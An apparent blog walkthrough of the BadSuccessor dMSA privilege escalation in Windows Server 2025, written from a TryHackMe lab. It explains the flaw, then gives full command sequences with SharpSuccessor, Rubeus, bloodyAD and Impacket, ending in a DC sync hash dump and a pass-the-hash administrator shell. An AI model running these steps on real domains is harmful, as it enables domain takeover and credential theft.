Understanding what is delegated Managed Service Accounts in Windows Server 2025, and how an unpatched system may be exploited for Privilege Escalation in an Active Directory environment
In doing a recent HackTheBox room, I came across this relatively new vulnerability of delegated Managed Service Accounts, and wanted to find out more about the BadSuccessor exploit. This TryHackMe room was particularly helpful. Easy as it looked, I ran into many odd errors and took a couple of days troubleshooting and figuring things out.
In this article, we will examine:
Imagine a large company that uses an automated HR system to manage employee accounts. When an employee leaves the company, their replacement can be set up in the system to take over their role and access permissions.
The “BadSuccessor” flaw works like this:
You didn’t steal the CFO’s password or hack their account; you simply created a new identity and declared yourself the official successor to their position — and the system believed you. Now you have an account with the CFO’s privileges!
To understand the attack, you first have to understand the “tool” being used. Windows Server 2025 introduced Delegated Managed Service Accounts (dMSAs).
Traditional service accounts often use static passwords that rarely change, which creates a major security risk. A dMSA allows administrators to transition these legacy accounts into managed service accounts while preserving the permissions and identity that existing services rely on.
To make this migration happen, Windows uses two specific “labels” (attributes) on the dMSA object:
msDS-ManagedAccountPrecededByLink)This is like a pointer. You create a new dMSA and tell it, “You are the successor to Admin_User_Account.” You do this by putting the name of the Admin account into this attribute.
msDS-DelegatedMSAState)This is a status tracker. It tells Windows how far along the migration is. It uses numbers to represent the stage:
When the state is set to 2 (Completed), the Windows Domain Controller (the KDC) says: “Okay, the migration is completed. This new dMSA is now the official replacement. I will give this dMSA all the powers and group memberships that the old account used to have.”
Now that we know what a dMSA is, we can look at the “crack” in the system. The security flaw isn’t in the dMSA itself, but in how the link is made.
Normally, in Active Directory, if you want to change someone else’s account, you need high-level permissions. However, the dMSA introduction created a “logic gap”:
msDS-ManagedAccountPrecededByLink attribute of your dMSA. It didn't check if you actually had permission over the account you were linking to!If I am a low-level user, I can create a dMSA and “link” it to the Domain Administrator.
The system sees my dMSA and says: “Oh, I see you’re the successor to the Domain Admin. Since you told me the migration is ‘Complete’ (msDS-DelegatedMSAState attribute = State 2), I’ll just give you all of their permissions.”
Now we get to the “payoff” — how the attacker actually uses this link to gain control. This happens through Kerberos, the standard authentication protocol for Windows networks.
The attacker doesn’t need to know the Domain Admin’s password. They only need to authenticate as the dMSA they created (the “Successor”). Since they created it, they have full control over it.
They request a Kerberos Ticket (TGT) for the dMSA.
When the Domain Controller (acting as the Key Distribution Center, or KDC) receives this request, it looks at the dMSA object and sees two things:
Because the state is “Completed,” the KDC follows a new rule built into Windows Server 2025: “If a migration is complete, the successor (dMSA) should act as the predecessor (Admin).”
The KDC builds a PAC (Privilege Attribute Certificate) inside the Kerberos ticket.
The attacker now holds a digital “badge” that says they are a dMSA, but it has the “stamps” of a Domain Admin on the back, effectively impersonating the Domain Admin.
We will now see this exploit in action. Suppose you have already gotten a shell as a low-level AD user. If you are a TryHackMe subscriber, you can try out in this room.
To check for vulnerability, we can use the Get-BadSuccessorOUPermissions.ps1 script. We can also check manually with the following:
CreateChild (or Write / GenericWrite / GenericAll) permissions on an Organizational Unit (OU). This is common for "Account Operators" or delegated IT staff.# Check that DC is running Windows Server 2025
Get-ADDomainController -Filter *# Check your username and groups
whoami /groups
# Check all OUs in the AD
Get-ADOrganizationalUnit -Filter * | Select-Object Name, DistinguishedName
# Check who has what rights on an OU
(Get-ACL -Path "AD:\OU=lab,DC=example,DC=com").access | Select-Object ActiveDirectoryRights,IdentityReference
## If your user or group have CreateChild/GenericAll/WriteDACL/WriteOwner,
## then likely we can use BadSuccessor exploit
Once we checked that we have the required rights on an OU, we can then use SharpSuccessor tool. It is in C sharp and can be compiled with Visual Studio, or using mono with xbuild in linux, as I did below:
> git clone https://github.com/logangoins/SharpSuccessor.git
> cd SharpSuccessor
> sudo apt install mono-complete -y
> xbuild SharpSuccessor.sln /p:Configuration=ReleaseAn alternative tool is here, but I have not tested this.
Join Medium for free to get updates from this writer.
Here is an overview of the commands of the steps I took using SharpSuccessor:
## 1. Check the OU that your user has the permissions for BadSuccessor
PS C:\PoC> .\Get-BadSuccessorOUPermissions.ps1## 2. Create a dMSA account that is linked to any other privileged account you want (usually Administrator)
PS C:\PoC> .\SharpSuccessor.exe add /path:"ou=LabOU,dc=tryhackme,dc=local" /account:tbyte /name:attacker /impersonate:Administrator
## 2. (Optional) Verify the account you created
Get-ADObject -Filter 'name -eq "attacker"' -Properties *
## 3. Using Rubeus, get a TGT for your current user
PS C:\PoC> .\Rubeus.exe tgtdeleg /nowrap
## 3. (Alternative method)
PS C:\PoC> .\Rubeus.exe hash /user:tbyte /password:P@SSw0rd345 /domain:tryhackme.local
PS C:\PoC> .\Rubeus.exe asktgt /user:tbyte /aes256:<aes-hash> /nowrap
## 4. Now get a TGT for the dMSA account you created
PS C:\PoC> .\Rubeus.exe asktgs /targetuser:attacker$ /service:krbtgt/tryhackme.local /opsec /dmsa /nowrap /ptt /ticket:<base64 ticket>
## 4. With the TGT, you essentially have the rights of the Administrator!
PS C:\PoC> dir \\DC-LAB2025-01.tryhackme.local\c$\Users\Administrator\Desktop\
Step 1: Check the OU that your user has the permissions for BadSuccessor
Step 2: Create a dMSA account that is linked to any other privileged account you want (usually Administrator)
Press enter or click to view image in full size
Press enter or click to view image in full size
Step 3: Using Rubeus, get a TGT for your current user
Press enter or click to view image in full size
Press enter or click to view image in full size
Step 4: Now get a TGT for the dMSA account you created
Press enter or click to view image in full size
Step 5: With the TGT, you can access the Administrator’s desktop!
You can check if a server is exploitable using netexec:
nxc ldap 10.211.101.10 -u tbyte -p 'P@SSw0rd345' -d tryhackme.local --dns-server 10.211.101.10 -M badsuccessorPress enter or click to view image in full size
To exploit, you can use the bloodyAD tool as below. Another exploit tool can be found here. An overview of the commands I used is as follows:
## 0. Preparing your Kali Linux with the tools
sudo nano /etc/hosts
# Add the following into /etc/hosts:
# 10.211.101.10 DC-LAB2025-01.tryhackme.local tryhackme.local DC-LAB2025-01>
pipx install bloodyAD## 1. Check if our user have the CreateChild rights over any OU
bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local get writable --detail
## 2. Create a dMSA object and saves the TGT as a .ccache
bloodyAD -d tryhackme.local -u 'tbyte' -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local add badSuccessor pentest2_dmsa
## 2. (Optional) Verify the account created
bloodyAD -d tryhackme.local -u tbyte -p 'P@SSw0rd345' --host DC-LAB2025-01.tryhackme.local get object 'pentest2_dmsa$'
## 2. (Optional) If account is created, but you didn't get TGT due to error, get the dMSA TGT
python3 getTGT.py -dc-ip 10.211.101.10 tryhackme.local/tbyte:'P@SSw0rd345'
export KRB5CCNAME=tbyte.ccache
python3 getST.py -k -no-pass -dc-ip 10.211.101.10 -impersonate 'pentest2_dmsa$' -self -dmsa 'tryhackme.local/tbyte'
## 3. Export the TGT into the environment variable so we can use it
export KRB5CCNAME=pentest2_dmsa_ts.ccache
## 4. DC sync to get administrator hash
python3 /opt/impacket/examples/secretsdump.py -k -no-pass 'pentest2_dmsa$'@DC-LAB2025-01.tryhackme.local
## 5. Pass the hash to get a shell as Administrator
python3 /opt/impacket/examples/wmiexec.py 'tryhackme.local/[email protected]' -hashes :984f755c74xxxxxxxxxxxxxx43976fec
Step 1: Check if our user have the CreateChild rights over any OU.
Press enter or click to view image in full size
Step 2: Create a dMSA object that is linked to ‘Administrator’ account
Press enter or click to view image in full size
Press enter or click to view image in full size
python3 getTGT.py -dc-ip 10.211.101.10 tryhackme.local/tbyte:'P@SSw0rd345'
export KRB5CCNAME=tbyte.ccachePress enter or click to view image in full size
Step 3: Export the TGT into the environment variable so we can use it
Press enter or click to view image in full size
Step 4: DC sync to get administrator hash
Press enter or click to view image in full size
Step 5: Get an administrator shell with Pass-the-hash
Press enter or click to view image in full size